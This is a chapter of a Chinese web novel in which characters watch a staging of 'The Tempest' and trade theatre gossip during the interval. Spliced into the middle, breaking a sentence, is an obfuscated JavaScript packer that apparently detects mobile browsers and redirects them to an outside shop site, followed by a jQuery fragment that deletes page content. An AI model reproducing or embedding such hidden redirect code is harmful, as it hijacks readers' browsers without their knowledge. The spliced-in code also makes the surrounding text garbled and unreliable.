混乱的灯光与激烈的鼓声营造出电闪雷鸣的氛围,海浪在舞台上翻涌,暴风雨已经来临,一艘船深陷其中。
在狂暴的自然与即将来临的死亡面前,每一个人都显得面目可憎,又楚楚可怜。
这艘船上载满了不远处一个孤岛主人的仇人,因此这不是普通的暴风雨,而是复仇的暴风雨。
在暴风雨过后,由戴维斯饰演的普洛斯彼罗登场。
值得一提的是,这个剧团之前也演过多次的《暴风雨》,但不知是阅历不足还是怎样,总是缺少一口气。
然而这次,这个即将退休的六旬老人,在这个告别舞台上奉献了可以说是他这辈子最精彩的表演。
他仿佛是被莎士比亚附身了一般,流利又饱含感情地诉说着他被自己兄弟谋害流放荒岛的过往,以及他利用魔法掀起这场暴风雨的现在。一个深沉的孤岛暴君被他演得活灵活现。
但是饰演他女儿米兰达的演员就显得有些青涩了,面对这位对她有极强控制欲的父亲过分强调对他的惧怕而无敬爱。
年轻演员为了扮演好这个角色显得太用力了,全场都是她浮夸的“唉!”、“天哪!”、“啊!”。
剧团经理弗莱彻紧张地擦着额头上冒出来的汗,小心地观察身旁剧评家的面色,不过他也很难从那张马脸上看到除了不快以外的表情。
“之前饰演这个角色的姑娘呢?”戴维斯夫人也微微皱起了眉头,“这是亨利的告别演出,怎么找了个新人来?”
“她...她...”倒也省去了经理的介绍,随着砰的一声,精灵爱丽儿在舞台上出没。她的腰间挂着一根细钢索,利用舞台上的机关从剧院顶上降落,意在表现精灵的神出鬼没。
【万福,尊贵的主人!威严的主人,万福!我来听候你的旨意。】
丑陋的精灵被化得面目全非,但熟悉这个剧团的人还是能根据她的声音辨认出这是常任剧团女主演的凯瑟琳·威廉。
观众席上传来小小的议论声,讨论这位以往扮演米兰达的演员如今怎么会去扮演爱丽儿。但很快他们就由衷地认为这位小姐之前应该是走错了戏路,她就适合扮演爱丽儿。
尤其是当她面对奴役、差使她的普洛斯彼罗询问她还要求什么时,这位一直被囚禁的精灵那声令人动容的:【我的自由。】
那是曾经普洛斯彼罗承诺的“提前释放”,如今到了兑现诺言的时候了。
不过很快向往自由的精灵就被孤岛暴君以大段大段的台词PUA成功了。普洛斯彼罗讲述着他是如何从上一个邪恶女巫中拯救这个精灵的,讲述那个女巫是如何折磨精灵,而他只是差使精灵做几件事便被精灵认为是“不得了的辛苦”。
【饶恕我,主人,我愿意听从命令,好好地执行你的差使。】
看到精灵终于低头,普洛斯彼罗向她许诺:【倘若你好好办事,两天之后我就释放你。】
精灵对此深信不疑,并发自内心地感谢主人的仁慈。
爱丽儿下场后,属于普洛斯彼罗的另一个奴隶,同时也是被打败的邪恶女巫的儿子——凯列班登场。
半人半兽的奴隶扭动着肥硕的身躯,与普洛斯彼罗对骂,发泄着心中的怨怼,却最终屈服在他强大的魔法之下。
在这一幕的尾声,爱丽儿用悠扬的歌声指引着因暴风雨而流落荒岛的一行人,其中一位贵族青年腓迪南与米兰达因为双方的美貌一见钟情,而这一切都是普洛斯彼罗有意为之。
为了自己的复仇大计,即使是多年相依为命的女儿的感情也可以算计。
第一幕落下帷幕。在一阵紧锣密鼓的准备中,厚重的帷幕再次被拉开,第二幕开场。
在这一幕中,船上其他的幸存者登上荒岛,由爱丽儿暗中监视。也是在这一幕中,几乎所有出场人物都有着内心的小九九,尤其是因被奴隶而心有不满的凯列班,他与幸存者中的两个微不足道的人形成同谋,誓要推翻普洛斯彼罗的统治。
不大的孤岛上盘旋着阴谋与算计,就在这紧张的氛围中,话剧并没有继续第三幕,而是开启了20分钟的幕间休息,留足了悬念。
阴谋算计与明争暗斗从台上转移到了台下。
铃声一响,剧院大厅瞬间变为人声鼎沸的菜场,人们打足干劲誓要在这短暂的休息期间完成圆满的社交。
在婉拒了戴维斯夫人去后台慰问演员的提议,夏洛蒂敲响了隔壁包厢的大门。
该来的还是要来。被迫从戏剧的氛围中脱离的迦勒犹豫地看了眼卡桑德拉。跟在她身边自认越来越有眼力见的他仅用了一秒就猜出了敲门的是谁。
不过也不用他纠结,夏洛蒂的敲门只是起到了通知“我要进来了”的作用,不用人开门,她有手会自己推。
卡桑德拉对此毫不意外。
“卡卡~”金发美人奔向卡桑德拉,卡桑德拉则是抬头看向迦勒。
“约翰,我猜你想出门透口气。”
“嗯?我没有啊,我,哦——是的。”迦勒立马否认,又在说出口后恍然大悟,“我先出门透口气,不打扰二位交谈。”
在这“唯一的外人”出去后,本来还能维持矜持的夏洛蒂立马凑到卡桑德拉跟前,将手中本来用于装饰的扇子舞得飞快,挡着嘴,再眉毛一撇,做足了姿态:“卡卡,你怎么招了个这么蠢的助手?”
看来她对迦勒颇有微词。
“找个乐子而已。”卡桑德拉轻描淡写地带过,又反问夏洛蒂怎么会出现在这里。
“来找乐子。”她学着卡桑德拉的话回答,“不如你来猜猜看?”
这有什么好猜的,卡桑德拉心想。
柏兰家在伦敦置有房产,不过他们更喜欢待在郡里的庄园内享受,因此那里只是个空宅,只有在社交季的时候他们才会拖家带口来这里,还不一定是每年社交季。
如今夏洛蒂独自一人在非亲属关系的长辈身边社交,以他们家的家教那应该是只有她一人来了伦敦。伦敦住宅内没有佣人,那就只能住在唯一的亲属,也就是她的姑姑——杜鲁夫人的宅邸里。
而按照推算,若没有发生意外,这会儿的杜鲁夫人离生产也不远了,自然是不好再来这种拥挤的地方。
于是可能是杜鲁夫人不忍侄女孤单寂寞,委托熟悉的长辈,也就是戴维斯夫人带夏洛蒂来看戏,凑个热闹。
当然也不排除是熟悉卡桑德拉爱好的夏洛蒂提前算到了她会来看着出戏,来这里蹲守,这是最大的可能。
“你姑姑身体可还好?”
夏洛蒂的表情由兴致勃勃转为无趣:“她还不错,就是月份大了不方便行动。”
讲到这里她突然有些伤感地抹了抹眼皮:“我可怜的凯莉姑姑,就这么失去丈夫与孩子,oh,小费恩,我还记得他刚出生时候的样子,皱巴巴的。不过好在上帝垂怜,给她留下了一个希望的种子。”
卡桑德拉就这么冷漠地看着她,隐隐约约要露出白眼。眼看她的演出没有收到全场唯一观众的掌声,夏洛蒂强烈表示不满:“这个时候你应该为我递上手帕,并且安慰我一切都会好的。”
卡桑德拉:冷漠。
夏洛蒂被她这么盯着也没了演下去的动力。
“哼,我忘了,你的手帕在你助手那里。”她指的是插在迦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812025|183122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
勒胸前口袋里的方巾。”
“你对他意见很大?”
“小时候不过是吃了你一块蛋糕你就记到现在,我还以为你对自己的东西占有欲很强,没想到——”
说道这个,卡桑德拉就不得不为自己辩解了:“首先,是两块蛋糕。其次,我的记忆力不针对你,也不认为自己占有欲很强。而且显然念念不忘的另有其人。最后,别扇了夏利,你不冷吗?”
夏洛蒂瞪了一眼卡桑德拉的死人脸,手里的扇子扇得更快了,简直要在屋子掀起一场小型飓风。
见此情形卡桑德拉拢了拢自己的斗篷。
看到她的动作,虽然还是在生气,但夏洛蒂还是停下了手中的动作,当然收起扇子的时候也没忘记瞪卡桑德拉两眼。
这两眼习惯了她气性大的卡桑德拉毫无杀伤力,她转而问起夏洛蒂要在伦敦待多久。
“这可不好说,应该要到圣诞节后。你知道的,凯莉——她可就一个人了,还是个孕妇,就算在圣诞节前生产,谁忍心让那么虚弱的一个人舟车劳顿。”
卡桑德拉若有所思地点点头,看来这段时间不会清净了。
猜到她在想什么但无所谓的夏洛蒂接着兴奋地说:“啊,对了!你要到我那个包厢吗?那里可是视野最佳的一个包厢,而且戏可比舞台上的好看多了。”
她狭促地说:“你真应该看看他们每个人的表情。”
“你是不知道,我早就打听清楚了,那个扮演精灵的女演员是戴维斯先生的情人之一,演米兰达的那个是新宠,不过听说她最近和那个腓迪南打得火热。不过这也正常,年轻帅气的小伙和快要退休的老头有眼睛的人都知道选哪个。尤其是老头还有妻子。”
她喋喋不休:“最有趣的是剧院经理,他既要观察戴维斯夫人的脸色,又要观察那个一直摆着臭脸的剧评家的脸色,恨不得两只眼睛长在额角两侧。”
她火力全开:“你是不知道,剧团里的台柱子要走了他急得不得了,既想曲线救国从戴维斯夫人那里挽留人,又想那个剧评家能多好话,让他这个剧团能多撑一会儿。”
她讲得发了狠忘了情,即使剧院提醒休息时间即将结束的铃声已经敲响了也要讲:“不过我觉得这不太可能,听说戴维斯是铁了心要回家养老,他现在又有名望,又不缺钱的。而且这个舞台除了他和那个精灵演得好,也就道具有新意。”
“我还听说”
她还想继续讲下去,但卡桑德拉忍不住委婉提醒:“我觉得你该回去了,你觉得呢?”
她示意夏洛蒂往下看,胖得突出的经理带着另外两人以摩西分海的气势划开人群朝着包厢的方向走来。
夏洛蒂也意识到她该回去了,恋恋不舍地说:“那你等散场了我再和你讲。”
“...行。”敷衍着她的卡桑德拉挤出一个微笑,第无数次感叹夏洛蒂真是一个做情报的好苗子,还好当初没被那只“拉弥亚”拐走。
不过可能性也不大,毕竟柏兰家族是附庸。只要那个人想,夏洛蒂的父亲非常愿意献上女儿换取荣华富贵。
为你庆幸,夏利!
幸运儿夏洛蒂在包厢里其他人回来之前整理好了着装,端庄地坐在椅子上。
而说是在幕间休息期间去往后台慰问演员的三个长辈带着奇怪的神色回到了包厢。
自愿出门透气的迦勒也在夏洛蒂离开不久后回到了包厢,脸上还带着和人愉快交谈后的笑意。
可见人类的悲欢并不相通。
最后一道提醒的铃声响起,预示着悲喜交加的第三幕即将上演。
暴风雨仍在继续。